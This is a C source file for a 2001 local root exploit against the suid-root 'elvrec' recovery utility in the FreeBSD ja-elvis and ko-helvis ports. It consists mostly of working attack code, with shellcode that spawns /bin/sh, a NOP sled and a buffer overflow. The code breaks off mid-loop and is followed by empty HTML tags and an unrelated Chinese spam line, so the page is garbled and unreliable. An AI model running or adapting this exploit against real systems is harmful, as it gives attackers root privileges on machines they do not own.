/* * ja-elvis & ko-helvis - FreeBSD 3.5.1 & 4.2 ports package local root exploit * * vulnerable: versions prior to ja-elvis-1.8.4_1 and ko-helvis-1.8h2_1 * * The above two packages contain a file recovery utility 'elvrec', installed * suid root(4755) by default. The utility is subject to a buffer overflow * leading to root privileges: * * Usage: ./elvwreck * * dethy@synnergy.net // www.synnergy.net * 28 Feb 2001. * */ #include #include #define PROG "/usr/local/bin/elvrec" #define VULN 608 #define BSIZE 1024 #define NOP 0x90 #define ESP 0xbfbff92c // FreeBSD 4.2 #define OFFSET 0 #define EATME 1 // byte alignment char shellcode[]= "\xeb\x37\x5e\x31\xc0\x88\x46\xfa\x89\x46\xf5\x89\x36\x89\x76" "\x04\x89\x76\x08\x83\x06\x10\x83\x46\x04\x18\x83\x46\x08\x1b" "\x89\x46\x0c\x88\x46\x17\x88\x46\x1a\x88\x46\x1d\x50\x56\xff" "\x36\xb0\x3b\x50\x90\x9a\x01\x01\x01\x01\x07\x07\xe8\xc4\xff" "\xff\xff\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02" "\x02\x02\x02/bin/sh.-c.sh"; int main(int argc, char *argv[]) { char buffer[BSIZE]; long address=ESP; int i, offset, align; if(argc > 1) { offset = atoi(argv[1]); align = atoi(argv[2]); } else { offset = OFFSET; align = EATME; } address += offset; fprintf(stderr, "\n* using ret %#x -> align %d -> offset %d\n\n", address, align, offset); for(i=align; i

    <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    这里只有精品视频